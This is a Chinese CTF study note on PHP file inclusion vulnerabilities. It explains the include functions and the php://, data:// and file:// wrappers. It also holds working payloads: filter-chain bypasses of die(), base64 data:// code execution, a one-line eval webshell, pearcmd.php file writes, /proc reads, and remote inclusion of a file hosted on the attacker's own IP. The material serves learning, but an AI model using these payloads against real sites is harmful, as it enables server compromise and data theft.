飞书链接:https://icnewi51k2yp.feishu.cn/wiki/LuiawEaNhi669LkWNV5cxg9PnOh?from=from_copylink

[Week3.4]PHP 文件包含漏洞

**文件包含漏洞 **通常出现在动态⽹⻚中,有时候由于⽹站功能需求,会让前端用户选择要包含的⽂件,

⽽开发⼈员⼜没有对要包含的⽂件进⾏安全考虑,⽐如:_对传⼊的⽂件名没有经过合理的校验,或者 _

校检被绕过,就导致攻击者可以通过修改⽂件的位置来让后台包含任意⽂件,从⽽导致⽂件包含漏

洞。

第一天的学习主要包含:文件包含的概述 文件包含的函数 文件包含的分类以及判断服务器类型的办法

文件包含概述

开发人员常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程就叫做包含。

文件包含漏洞 通常出现在动态网页中,有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,比如:对传入的文件名没有经过合理的校验,或者校检被绕过,就导致攻击者可以通过修改文件的位置来让后台包含任意文件,从而导致文件包含漏洞。

注意:网上常说的文件读取漏洞、文件下载漏洞均可理解为文件包含漏洞。

在 PHP 中常用的文件包含函数有以下四种:

  • include()

找不到被包含的文件时只会产生警告,脚本将继续运行。

  • include_once()

include() 类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

  • require()

找不到被包含的文件时会产生致命错误,并停止脚本运行。

require()_ 的返回值规则:_

  1. 若被引入文件仅包含输出代码(如 echo、直接文本):这些输出会直接打印到浏览器 / 终端,但 require() 本身返回 1(成功执行的标识);
  2. 若被引入文件包含 return 语句require() 会返回 return 后的值(可是字符串、数组、对象等);
  3. 若引入失败(文件不存在等):直接触发致命错误(E_COMPILE_ERROR),脚本终止执行(区别于 include() 的警告错误)。
  • require_once()

require() 类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

当以上 四种函数 参数可控的情况下,我们需要知道以下两点特性,

  • 若文件内容符合 PHP 语法规范,包含时不管扩展名是什么都会被 PHP 解析。
  • 若文件内容不符合 PHP 语法规范则会暴漏其源码。

实现读取文件内容的函数还有很多,可自行查表

文件包含分类

在文件包含中,主要分为 本地远程 两种类别,分类取决于所包含文件位置的不同。这两种分类依赖于 php.ini 中的两个配置项,注意对配置进行更改时,注意 On / Off 开头需大写,其次,修改完配置文件后务必要重启 Web 服务,使其配置文件生效。

1
allow_url_fopen (默认开启)allow_url_include #(默认关闭,远程文件包含必须开启)

本地和远程文件包含,文件的地址显示有差异(具体可以查阅 Hello CTF 上面的资料)

本地:

1
2
http://127.0.0.1/?filename=/etc/passwd
http://127.0.0.1/?filename=./phpinfo.txt

远程:

1
http://127.0.0.1/?filename=http://loki.la/ReaDME.md

如何判断服务器类型

虽然判断服务器类型的必要性不是很大,因为按照国内比赛的套路来看,题目环境基本为 Linux + Apache,不过还是有必要性说一下思路的。

读取文件

可以尝试读取 /etc/passwd 如果可行则代表操作系统为 Linux,反之为 Windows(注意判断不是百分百正确,不排除可控点存在过滤不允许任意文件包含)

大小写混写

可以在文件包含读取文件时,利用大小写敏感的特性来判断服务器类型,因为在 Linux 中严格区分大小写,而 Windows 不区分大小写。

如:在 Windows 下你要包含的文件为 lfi.txt,即使你写成 Lfi.txtlFi.tXT 等形式也可包含成功。

第二 三天的学习主要包含文件包含协议与 bypass

文件包含协议

file://

  • 条件
  • allow_url_fopen:不受影响
  • allow_url_include:不受影响
  • 作用

用于访问本地文件系统。

  • 说明

file:// 是 PHP 使用的默认封装协议,展现了本地文件系统。 当指定了一个相对路径(不以/、\、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。 在很多情况下是脚本所在的目录,除非被修改了。 使用 CLI 的时候,目录默认是脚本被调用时所在的目录。

在某些函数里,例如 fopen()file_get_contents()include_path 会可选地搜索,也作为相对的路径。

  • 用法
1
2
file:///etc/passwd
file://C:/Windows/win.ini
  • 示例

file://[ 文件的绝对路径和文件名]

1
http://127.0.0.1/?filename=file:///etc/passwd

php://

  • 条件
  • allow_url_fopen:不受影响
  • allow_url_include:仅 php://inputphp://stdinphp://memoryphp://temp 需要 on
  • 作用: 访问各个输入 / 输出流(I/O streams)
  • 说明: PHP 提供了一些杂项输入 / 输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

中译中:PHP 自带了一批 “现成工具”:有的帮你接外部数据、发数据给外部,有的帮你存临时数据(不用建文件),有的帮你加工数据(读写字节时过滤处理),还有的帮你单独存错误 —— 这些工具统称 “杂项 IO 流”,直接用 php://xxx 就能调用,不用自己折腾基础功能。

常见的 php 协议

中译中:

1.php://input“有一个只能读取、不能修改的专用通道,能拿到前端发给 PHP 的‘原汁原味’的请求数据(就是没被 PHP 处理过的原始数据)。但要注意两个前提:

如果你开了 PHP 的 enable_post_data_reading 这个设置(默认是开的);

前端提交数据时,用的是 enctype=”multipart/form-data” 这种格式(通常用来上传文件、提交带文件的表单);那这个通道(也就是 php://input)就用不了了 —— 读不到任何数据。”

2.php://output“这是一个只能写、不能读的‘数据传送带’,你往上面写内容,就跟用 printecho 打印东西一样 —— 最终都会送到浏览器 / 客户端(比如浏览器显示文字、接口返回数据)。”

_它就是 echo/print 的 “底层载体”:你写 echo “hello”,本质就是把 “hello” 放到这个 “传送带” 上,传送带再把内容传给浏览器;_

只能 “写” 不能 “读”:你能往上面丢数据(比如 echofwrite 写内容),但不能从上面拿数据(比如用 file_get_contents 读它,会失败);

举个简单例子:

php

1
2
// 用 echo 打印(本质是往 php://output 写)echo "hello";
// 直接往 php://output 写,效果和上面完全一样fwrite(fopen('php://output', 'w'), "hello");

3.php://fd_ —— “直接操作文件的‘快捷方式’”_

“从 PHP 5.3.6 开始有这个功能,它允许你直接访问服务器上已经打开的‘文件 / 资源的编号’(这个编号叫‘文件描述符’)。比如 php://fd/3,就对应着服务器上编号为 3 的那个打开的文件 / 资源。”

先搞懂 “文件描述符”:服务器打开一个文件、网络连接、甚至终端时,会给它分配一个数字编号(比如 0 = 标准输入、1 = 标准输出、2 = 错误输出,3 及以上是自定义的),就像快递的 “取件码”;

php://fd/取件码_ 就是 “凭取件码直接拿文件”:不用再写文件路径(比如 /var/log/xxx.log),直接用编号就能操作已经打开的资源;_

简单例子(了解即可):

比如服务器已经打开了一个日志文件,分配的描述符是 3,你可以直接写:

php

1
// 往编号3的文件里写日志,不用再打开文件fwrite(fopen('php://fd/3', 'w'), "记录一条日志");

4.php://memory 或 php://temp_ —— “PHP 自带的临时储物箱”_

原句通俗翻译:“从 PHP 5.1.0 开始有这两个,它们都像‘临时文件夹’,能存数据、取数据(既能读又能写),但不用你手动创建文件、不用删 —— 脚本执行完自动清空。两者的区别就一点:

php://memory:把数据全存在‘内存’里(相当于电脑的‘内存条’),读写特别快,但如果数据太大,会占满内存;

php://temp:先把数据存内存,等数据超过 2MB(默认限制),就自动转到系统的‘临时文件’里(相当于电脑的‘临时文件夹’),不会占太多内存;你还能自己改内存限制,比如 php://temp/maxmemory:1048576 就是限制 1MB(1048576 字节 = 1MB),超过就存磁盘。”

核心理解:

用途:临时存数据(比如处理大 CSV、拼接超长字符串、临时缓存数据),不用手动管理文件(不会留下垃圾文件);

怎么选:数据小(比如几 KB、几十 KB)用 php://memory(快);数据可能很大(比如几 MB、几十 MB)用 php://temp(不占内存)。

举个常用例子(处理临时数据):

php

1
2
3
4
5
6
7
8
9
10
// 用 php://temp 存临时数据(适合可能很大的数据)
$temp = fopen('php://temp', 'r+');
// r+ = 又能读又能写
fwrite($temp, "这是临时数据1\n");
fwrite($temp, "这是临时数据2\n");

rewind($temp); // 把“读取指针”移到开头(不然读不到前面写的)
echo fread($temp, 1024);
// 输出:这是临时数据1 这是临时数据2.
fclose($temp); // 关闭后,数据自动消失(内存/临时文件都清空)

5.php://filter_ —— “数据的‘预处理加工厂’”_

原句通俗翻译:“从 PHP 5.0.0 开始有这个‘万能过滤器’,它不是直接存数据或传数据的通道,而是个‘数据加工厂’—— 你读文件、写文件时,能让数据先经过它‘加工’(比如转大写、去空格、解码),再拿到最终结果。尤其适合那些‘一步到位’的文件函数(比如 readfile() 直接读文件输出、file_get_contents() 直接读文件内容),这些函数本来没机会加工数据,用它就能中途加过滤处理。”

本质:“中间处理器”,不直接操作文件 / 数据,只在 “数据传输过程中” 做加工;

常用场景:读文件时自动转格式、解码、过滤垃圾字符(比如读 Base64 编码的文件,直接解码再读);

用法:把它当成 “前缀”,跟在文件路径前面,比如 php://filter/加工规则/resource=文件路径

举个实用例子(读文件时自动转大写):

比如你有个 test.txt,内容是 hello world,想读的时候直接转成大写,不用额外写代码:

php

1
2
3
// 用 php://filter 做“转大写”处理,再读 test.txt
$content = file_get_contents('php://filter/convert.iconv.UTF-8.UTF-8|string.toupper/resource=test.txt');
echo $content; // 输出:HELLO WORLD(自动转大写)

再比如读 Base64 编码的文件,直接解码:

php

1
2
3
// 先Base64解码,再读文件内容
$content = file_get_contents('php://filter/convert.base64-decode/resource=encoded.txt');
echo $content; // 直接输出解码后的原始内容

php://filter 参数详解

该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

可用的过滤器列表

在 CTF 竞赛中常用的为 转换过滤器,在一些极端情况下可以通过 字符串过滤器 实现 bypass,当然这里需要大家了解一下 PHP 支持的字符编码,另外其他的过滤器类型详见:https://www.php.net/manual/zh/filters.php


  • 用法
1
# 直接读,PHP 代码会被解析php://filter/resource=flag.php# 针对 PHP 文件(常用)php://filter/read=convert.base64-encode/resource=flag.php# 其他字符编码php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php# Rot13php://filter/string.rot13/resource=1.php# php://input[POST DATA部分]<?php phpinfo(); ?>

示例

convert

1
2
3
4
5
6
7
8
9
10
11
<?phphighlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

把 Base64 和 Rot13 过滤了,根据 PHP 支持的字符编码,发现 PHP 支持的字符编码还是挺多的,我们这里随便选择一个进行使用

1
2
GET: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
POST: contents=?<hp pystsme"(ac tlf"*;)

关于代码生成,注意 ucs-2 编码的字符串位数一定要是偶数,否则会报错,ucs-4 编码的字符串位数一定要是 4 的倍数,否则会报错

1
2
3
<?php 
echo iconv("UCS-2LE","UCS-2BE",'<?php system("cat fl*");');
// ?<hp pystsme"(ac tlf"*;)

base64

1
2
3
4
# index.php
<?php highlight_file(__FILE__);
require($_GET['filename']);
?>

1
2
3
4
# flag.php
<?php
// $flag = 'flag{th14_1s_m3_fl4g}';
echo '答案在注释里,自己找吧';

我们可以利用 php://filter 伪协议来读取文件内容,需要注意的是,php://filter 伪协议如果不指定过滤器的话,默认会解析 PHP 代码,所以我们需要指定 convert.base64-encode 过滤器来对文件内容进行编码

1
php://filter/read=convert.base64-encode/resource=flag.php
*file_put_contents() 函数介绍

file_put_contents() 是 PHP 中最简洁的 “写文件” 函数—— 核心作用是:把数据直接写入文件,不用手动打开、关闭文件(底层自动帮你处理),相当于 fopen() + fwrite() + fclose() 三个函数的 “一站式简化版”。

一句话概括:“想把字符串、数组、二进制数据(比如图片)写到文件里,用它最方便”

一、基本语法

php

1
file_put_contents(文件路径, 要写入的数据, 可选参数, 上下文);
  • 返回值:成功返回写入的字节数;失败返回 false(或 0,取决于数据是否为空)。

  • 核心参数(前 2 个必传,后 2 个极少用):

    1. 文件路径:要写入的文件位置(比如 ./test.txt/var/log/info.log);
    2. 要写入的数据:支持字符串、数组(会自动拼接成字符串)、二进制数据(比如图片字节);
    3. 可选参数:比如 FILE_APPEND(追加内容,不覆盖原文件)、LOCK_EX(写文件时加锁,防止多人同时写冲突);
    4. 上下文:几乎不用(复杂场景才用,比如远程文件)。

二、常用场景示例(直接复制能用)

场景 1:基础用法 —— 覆盖写入文件(默认行为)

把字符串直接写入文件,如果文件不存在,会自动创建;如果文件已存在,会覆盖原有内容。

php

1
2
3
4
5
6
7
**<?php**// 要写入的数据(字符串)
$content = "Hello World!\n这是用 file_put_contents 写的内容";
// 写入文件(路径:当前目录下的 test.txt)
$result = file_put_contents('./test.txt', $content);
// 验证是否成功
if ($result !== false) {echo "写入成功!共写入 $result 个字节";}
else {echo "写入失败(可能是权限不够)";}
  • 执行后,test.txt 里的内容就是:
  • plaintext
1
2
Hello World!
这是用 file_put_contents 写的内容

场景 2:追加内容(不覆盖原文件)

FILE_APPEND 参数,在文件末尾加内容(比如写日志、累加数据)。

php

1
2
3
4
5
**<?php**// 要追加的内容(比如一条日志,带时间)
$log = date('Y-m-d H:i:s') . " - 用户登录成功\n";
// 追加到日志文件(FILE_APPEND 表示“追加”,不是覆盖)
file_put_contents('./user.log', $log, FILE_APPEND);
echo "日志写入成功";
  • 执行多次后,user.log 会累加内容:
  • plaintext
1
2
2025-11-09 10:30:00 - 用户登录成功
2025-11-09 10:35:20 - 用户登录成功

场景 3:写入数组(自动拼接成字符串)

如果传入数组,函数会自动把数组元素用空字符串拼接成一个字符串写入(数组元素必须是字符串 / 数字,不能是对象)。

php

1
2
3
**<?php**// 数组数据(会自动拼接成 "姓名:张三 年龄:25 爱好:打球")
$userInfo = ["姓名:张三 ","年龄:25 ","爱好:打球"];// 写入文件
file_put_contents('./user.txt', $userInfo);
  • 执行后,user.txt 内容:姓名:张三 年龄:25 爱好:打球

str_replace() 是 PHP 中最常用的 字符串替换函数—— 核心作用是:在一个字符串里,把指定的 “目标内容” 换成 “新内容”,支持单个替换、批量替换,用法简单且实用。

一句话概括:“查找字符串里的‘旧东西’,全部换成‘新东西’”

*str_replace() 函数介绍

php

1
2
3
4
5
6
// 1. 单个替换:把 $str 里的 $search 全换成 $replace
str_replace(要查找的旧内容, 要替换的新内容, 原始字符串);
// 2. 批量替换:多个旧内容对应多个新内容(数组形式)
str_replace(数组[旧内容1, 旧内容2], 数组[新内容1, 新内容2], 原始字符串);
// 3. 带计数:最后加一个变量,接收“替换了多少次”(可选)
str_replace(旧内容, 新内容, 原始字符串, $替换次数);
  • 返回值:替换后的新字符串(不会修改原始字符串,原始字符串保持不变);
  • 特点:区分大小写(比如替换 “php” 不会影响 “PHP”)、全局替换(找到的所有匹配内容都会被换)。

rot13 【绕过 die】

(绕过 file_put_contents 已给 die 函数的限制)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}

一个写文件的题,但是有过滤,不允许包含 php , data , :. 但是在写入操作的时候,**HTTP 请求会自动做一次 URL 解码,**会把 file 参数进行 urldecode,所以我们可以两次 urldecode 来绕过过滤,然后只需要考虑如何绕过 <?php die('大佬别秀了');?> 中的 die() 即可

我们可以尝试使用 Base64 绕过 die(),Base64 的编码范围是 0-9 , a-z , A-Z , +/ ,其他字符会被忽略,去掉不支持的字符,只剩下了 phpdie 了,因为 Base64 解码是按照 4 位 一组进行解码的,所以我们需要在最终编码出来的字符串中最前面添加两个字母,以达到 Base64 解码的规则

注意:file_put_contents 可以新建一个名为 1.php 的文件并写入代码.

1
2
3
4
// 需要两次URL编码
GET: ?file=php://filter/convert.base64-decode/resource=1.php//
需要base64编码,编码后最前面添加两个字母如:aa
POST: content=<?php system('cat f*');

豆包对这道题有更通俗的解读

rot13 解法一解释

另一种方法是使用 Rot13 编码(和 base64 绕过 die 的原理是相同的)

1
// 需要两次URL编码GET: ?file=php://filter/string.rot13/resource=1.php// 需要Rot13编码POST: content=<?php system('cat f*');

Rot13 解码后写入的文件内容变为了

1
<?cuc qvr('大佬别秀了');?><?php system('cat f*');

这样就可以绕过 die()

input

1
2
3
4
5
# 注意使用 php://input 的时候必须开启 allow_url_include
<?php
highlight_file(__FILE__);
include($_GET['filename']);
?>

当我们有写入操作的时候,可以直接写入一句话木马

1
<?php file_put_contents('muma.php', '<?php @eval($_POST[cmd]);');

data://

data:// 是 PHP 里的一种 “数据流协议”,核心作用是:直接把 “数据本身” 当成 “文件” 来用—— 不用真的创建一个物理文件(比如 1.php),而是把代码 / 文本 “伪装成文件内容”,让 PHP 的 include()/require() 函数执行它。

简单说:data:// = “无文件执行 PHP 代码” 的工具,前提是必须开 allow_url_fopen=onallow_url_include=on(两个开关都要开,默认可能关,所以是漏洞常用场景)。

*一、为什么需要 data://?(生活类比)*

你想让 PHP 执行一段代码,但服务器不让你上传文件(比如禁止传.php 文件),怎么办?data:// 就像 “隐形文件”:你不用真的存文件到服务器,而是直接把代码 “嵌在 URL / 参数里”,告诉 PHP:“把这段数据当成一个文件来执行”。

比如:正常执行代码需要 include('1.php')(1.php 里是 phpinfo(););用 data:// 可以直接 include('data://text/plain,<?php phpinfo();?>')—— 没有 1.php 文件,但效果一样。

二、两种用法(通俗解释 + 示例)

data:// 有两种常用格式,核心区别是 “数据是否 Base64 编码”,咱们逐个说:

用法 1:明文格式(data://text/plain,代码
  • 格式:data://text/plain,要执行的PHP代码
  • 通俗说:“告诉 PHP,后面的内容是纯文本格式,直接执行里面的 PHP 代码”
  • 示例:
  • php
1
2
3
4
**<?php**// 开启两个必要开关(实际环境需要在php.ini里设置,这里是模拟)
ini_set('allow_url_fopen', 'on');
ini_set('allow_url_include', 'on');// 用include执行data://里的代码
include('data://text/plain,<?php phpinfo();?>');
  • 执行结果:会输出 PHP 的环境信息(phpinfo() 的效果),相当于执行了一段 PHP 代码,却没创建任何文件。
用法 2:Base64 编码格式(推荐)(data://text/plain;base64,编码后的代码
  • 格式:data://text/plain;base64,Base64编码后的PHP代码

  • 通俗说:“先把 PHP 代码用 Base64 编码(变成一串字母数字),再告诉 PHP:先解码这段数据,再执行里面的代码”

  • 示例:

    1. 先把要执行的代码 <?php phpinfo();?> 做 Base64 编码(在线编码工具就能弄),编码结果是:PD9waHAgcGhwaW5mbygpOz8+
    2. data:// 执行编码后的内容:
    3. php
    1
    2
    3
    4
      ```

    **<?php**ini_set('allow_url_fopen', 'on');ini_set('allow_url_include', 'on');// 解码后执行:PD9waHAgcGhwaW5mbygpOz8+ → <?php phpinfo();?>include('data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+');

  • 执行结果:和明文格式一样,输出 phpinfo() 信息。

三、为什么推荐用 Base64 编码?(关键!)

这是你最关心的点 —— 明文格式明明更简单,为啥非要 Base64 编码?核心原因是 “绕过过滤”,咱们结合漏洞题场景说:

绕过 “特殊字符过滤”

很多漏洞题会过滤 <?php>; 这些 PHP 代码特有的字符(比如过滤 <? 变成空),此时明文格式会失效:

  • 比如题目过滤 <?:明文 data://text/plain,<?php phpinfo();?> 会变成 data://text/plain,php phpinfo();?>,执行失败;

  • 但 Base64 编码后,代码变成 PD9waHAgcGhwaW5mbygpOz8+(全是字母数字,没有特殊字符),过滤函数找不到要替换的内容,直接放行 —— 解码后又能还原成原始代码,成功执行。

避免 “语法冲突”

如果 data:// 后面的代码包含逗号、空格、& 等 URL 特殊字符,可能会被浏览器 / 服务器解析错误(比如逗号会被当成参数分隔符);Base64 编码后会把这些特殊字符转成安全的字母数字,避免冲突。

漏洞题的 “常规操作”

漏洞题中,data:// 几乎都是和 “文件包含漏洞” 结合的 —— 黑客想执行恶意代码,但服务器过滤了特殊字符,所以用 Base64 编码绕过,这是最稳妥、最常用的手段。

四、实操示例:用 data:// 执行恶意代码(漏洞场景)

假设题目有一个文件包含漏洞,代码如下(接收 file 参数,包含对应的文件):

php

1
**<?php**// 题目开启了 allow_url_fopen 和 allow_url_include(漏洞前提)$file = $_GET['file'];include($file); // 直接包含用户传入的file参数,存在漏洞?>

*我们要执行 system(‘cat flag.php’)(读取 flag 文件),步骤如下:*

  1. 把恶意代码 <?php system('cat flag.php');?> 做 Base64 编码,得到:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
  2. 构造 data:// 格式的 Payload,作为 file 参数传入:
  3. plaintext
1
http://目标服务器/漏洞文件.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
  1. 服务器执行流程:
    • 接收 file 参数:data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
    • include() 函数识别 data:// 协议,按照规则解码 Base64 字符串;
    • 解码后得到 <?php system('cat flag.php');?>,并执行;
    • 最终输出 flag.php 的内容,我们拿到 flag。

五、关键补充(避坑 + 安全)

  1. 必须开启两个开关allow_url_fopen=onallow_url_include=on—— 少一个都用不了(生产环境建议都设为 off,防止被黑客利用);

  2. Base64 编码注意事项

    • 编码的代码必须是 PHP 格式(比如开头 <?php,结尾 ?>,或省略 ?>);
    • 编码时不要带多余空格 / 换行,否则解码后会出错;
    • 在线编码工具选 “UTF-8 无 BOM”,避免乱码。
  3. php:// 的区别

    • php:// 是 “访问 PHP 内置的输入输出流”(比如读 POST 原始数据);
    • data:// 是 “把数据伪装成文件”(比如执行代码);
  4. 安全风险:如果服务器开了两个开关,又有文件包含漏洞,黑客可以用 data:// 执行任意 PHP 代码,控制服务器 —— 所以生产环境一定要禁用这两个开关(或严格过滤用户输入)。

总结(一句话记死)

data:// 是 “无文件执行 PHP 代码” 的工具,需要两个开关开启;推荐用 Base64 编码是为了绕过特殊字符过滤,核心用在文件包含漏洞场景,让黑客不用上传文件就能执行恶意代码。

这段内容讲的是 PHP 文件包含漏洞的 3 种高级绕过(bypass)技巧,核心场景是 “服务器不让直接执行恶意代码 / 写文件,用这些方法绕开限制拿权限(getshell)”。咱们用 “大白话 + 场景拆解”,从 “是什么 → 怎么用 → 为什么有用” 讲透,完全不用怕看不懂:

bypass

先铺垫核心背景:什么是 “文件包含漏洞”?

简单说:如果 PHP 代码里有 include($_GET['file']) 这种写法(直接包含用户传入的参数),黑客就能通过 ?file=恶意文件 让服务器执行恶意代码 —— 这就是 “文件包含漏洞”。

但服务器通常会有防护(比如过滤 php://data:// 这些协议),所以下面 3 个技巧,都是 “防护绕过方案”,而且主要针对 Docker 环境的 PHP(因为 Docker 有一些默认特性可被利用)。

一、pearcmd.php 利用:Docker 默认自带的 “写文件工具”

核心原理(一句话)

Docker 里的 PHP 默认装了一个叫 pearcmd.php 的工具文件(路径固定:/usr/local/lib/php/pearcmd.php),这个文件有个隐藏功能:能接收参数,帮我们在服务器上写任意文件—— 不用自己上传,直接通过漏洞触发它写恶意 PHP 文件,再包含执行。

为什么能用上?

  • Docker 特性:所有 Docker 的 PHP 镜像,默认都带了 pearcmd.php(相当于 “自带的后门工具”,不是漏洞,是正常工具被滥用);
  • 无需复杂操作:不用绕太多过滤,一个请求就能写文件,成功率高。

实操拆解(看那个数据包)

黑客发送的请求:

plaintext

1
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

咱们翻译一下这个请求的意思:

  • 目标:服务器上有漏洞的文件 index.php(里面有 include($_GET['file']));

  • 核心操作:让 index.php 包含 pearcmd.php(通过 &file=/usr/local/lib/php/pearcmd.php);

  • 关键参数:+config-create+/pearcmd.php 的 “写文件命令”,后面跟着 3 个核心信息:

    1. 要写的内容:<?=phpinfo()?>(恶意代码,执行后显示 PHP 信息);
    2. 保存路径:/tmp/hello.php(服务器上的临时目录,Docker 里 /tmp 通常可写);

执行流程

  1. 黑客发上面的请求 → 服务器执行 index.php→ 包含 pearcmd.php
  2. pearcmd.php 接收 config-create 命令,按照要求写文件:把 <?=phpinfo()?> 写入 /tmp/hello.php
  3. 黑客再发一个请求:/index.php?file=/tmp/hello.php→ 服务器包含这个恶意文件,执行 phpinfo(),成功 getshell。

通俗类比

相当于 Docker 的 PHP 服务器里,默认放了一把 “万能写文件的钥匙”(pearcmd.php),黑客通过漏洞拿到这把钥匙,让它帮自己写了一把 “后门钥匙”(hello.php),之后就能用后门钥匙随便操作服务器了。

二、peclcmd 利用:和 pearcmd 类似的 “兄弟工具”

核心原理

pearcmd.php 几乎一样!是 Docker PHP 里默认带的另一个工具文件(peclcmd.php),也有 “接收参数写文件” 的功能。

区别

  • 适用场景:部分 Docker 镜像可能 pearcmd.php 被删,但 peclcmd.php 还在,相当于 “备用方案”;
  • 用法:和 pearcmd 类似,只是命令参数、文件路径可能略有不同(比如命令不是 config-create,但核心是 “用工具写文件”);
  • 来源:题目里提到的 SEETF-2023 是 CTF 比赛题,本质就是用这个工具绕开了服务器的过滤。

总结:pearcmd 和 peclcmd 就是 “Docker PHP 自带的两把写文件钥匙”,任选其一能用就好。

三、/proc 目录利用:Linux 系统的 “进程信息宝库”(非预期绕过)

核心原理(一句话)

/proc 是 Linux 系统的 “虚拟文件系统”(数据存在内存里,不是硬盘),里面存着所有进程的秘密(比如进程执行的命令、打开的文件、环境变量)。如果服务器没过滤 /proc,黑客能通过它读取关键信息,绕开限制拿到恶意代码。

为什么能用上?

  • 无文件依赖:不用写文件、不用找工具,直接读系统自带的 “进程信息文件”;
  • 非预期:很多出题人 / 开发者会忽略 /proc 的风险,没过滤它,属于 “防不胜防” 的绕过。

重点理解几个关键的 /proc 文件(黑客常用)

先记住:/proc/self/ 代表 “当前正在运行的进程”(也就是执行 PHP 脚本的进程),不用记复杂的进程号(PID),用 self 就行:

实操场景(比如 CTF 题目里的用法)

假设服务器过滤了 php://data://,但没过滤 /proc,黑客可以:

  1. /proc/self/cwd/flag.php 直接包含网站根目录的 flag 文件(因为 cwd 指向网站目录);
  2. /proc/self/fd/3 读取服务器正在打开的某个敏感文件(比如 fd/3 是配置文件,里面有后门);
  3. /proc/self/environ 读取环境变量里的 FLAG 字段(很多 CTF 题会把 flag 存在环境变量里)。

通俗类比

/proc 就像服务器的 “身份证 + 钥匙串”,里面记着自己的运行方式、藏东西的地方、甚至密码。黑客通过漏洞拿到这个 “身份证”,就能找到服务器的秘密,绕开防护直接拿权限。

三个技巧的核心区别 & 适用场景

总结(一句话记死)

这三个都是文件包含漏洞的 “高级绕法”:前两个靠 Docker PHP 自带的 “写文件工具” 偷偷写后门,后一个靠 Linux 的 “进程信息文件” 直接找秘密 —— 核心都是 “绕开服务器防护,不用正常上传 / 执行,就能拿到权限”。

如果是 CTF 做题 / 漏洞挖掘,优先试 pearcmd(成功率最高),不行再试 peclcmd,最后试 /proc(看运气碰非预期)

*[Week3.5]实验:PHP 文件包含 lab0-11 解题 补充知识

RCE 括号绕过

若括号被过滤,可以使用反引号 `` 进行命令执行,但这个函数只有返回值,不会输出 要用 echo 指令 来输出结果

十六进制编码避免过滤(用于绕过命令中被过滤的字符)

PHP 只有在解析 字符串字面量(用单引号 ‘、双引号 “、反引号 ` 包裹的内容)时,才会识别 \x 转义符。

这时候才可以用十六进制编码避免过滤.例如 注意里面有反引号

远程文件包含(http/https 解题办法)

题目:

flag 在/flag 里面

本地搭临时服务器(最快,推荐)

适合自己有电脑的情况,不用依赖外部服务器,3 步搞定:

步骤 1:写一个 “读 flag 的 PHP 文件”

新建一个文本文件,命名为 flag.php(名字随便取),内容写:

php

1
**<?php** echo `more /flag`; ?>
  • 原理:这个文件的作用是执行 more /flag 命令(读根目录 flag),并输出结果;

备用命令:如果 more 被禁,换成 less /flagtail /flag,代码改成 <?php echo tail /flag ; ?>****。

步骤 2:本地搭临时 HTTP 服务器

打开电脑的「终端 / 命令提示符」,进入 flag.php 所在的文件夹,执行以下命令(PHP 自带临时服务器,不用装 Apache/Nginx):

  • Windows/Mac/Linux 通用命令:
  • bash
1
php -S 0.0.0.0:8080
  • 执行后会提示 PHP 7.4.3 Development Server (``http://0.0.0.0:8080``) started,说明服务器搭好了(端口 8080,可改成 80、8000 等没被占用的端口)。

步骤 3:找自己的公网 IP(让题目服务器能访问到)

  • 百度搜索「我的公网 IP」,比如得到你的公网 IP 是 123.45.67.89
  • 此时你的 flag.php 对外访问地址是:http://123.45.67.89:8080/flag.php(如果改了端口,就把 8080 换成你的端口)。

步骤 4:构造 Payload 访问题目

把上面的地址拼接到题目 URL 的 wrappers 参数里,最终 URL 是:

plaintext

1
http://题目地址/?wrappers=123.45.67.89:8080/flag.php
  • 原理:题目服务器会 include("http://123.45.67.89:8080/flag.php"),加载你本地的 PHP 文件,执行 more /flag 并返回 flag!

1==2 返回 true 的方法

利用以下两点:

1.PHP 比较「数组 vs 整数」时,不会报错,而是直接返回 true(这是 PHP 弱类型(强类型不适用)的经典特性,CTF 常考)。

2.PHP 可以直接给数字当变量赋一个数组,或者直接给数字当变量传另一个数字

这里直接 get 方式让 1=2,或者 1[]=任意值,甚至 1=’2’都行

(注意:PHP 弱类型比较中,字符串_’2’不会转成 ASCII 码(‘2’_的 ASCII 码是 50),而是直接转成「对应的数字 2」)

php:/filter 直接读取文件

像这样 php:/filter//resource=/flag 不填加工规则直接读就行

php:/input 获取并执行 post 内容

php://input 是 PHP 的 “内置数据通道”,作用是:读取当前 HTTP 请求的「原始请求体内容」(请求体就是 POST 请求里存放数据的地方,比如表单提交的内容、我们传的 PHP 代码)。

include("php://input") 等价于:“读取这次请求的 POST 请求体内容,把它当成 PHP 文件执行”

注意这里 POST 请求体不能用 HackBar 写,要用 Burp 写.

Burp 里写 POST 请求体 → 给服务器传 “恶意 PHP 代码”

我们在 Burp 的 Repeater 里,给请求体写 <?php echo more /flag ; ?>,本质是:把 “读 flag 的命令” 包装成合法 PHP 代码,通过 POST 请求体传给服务器

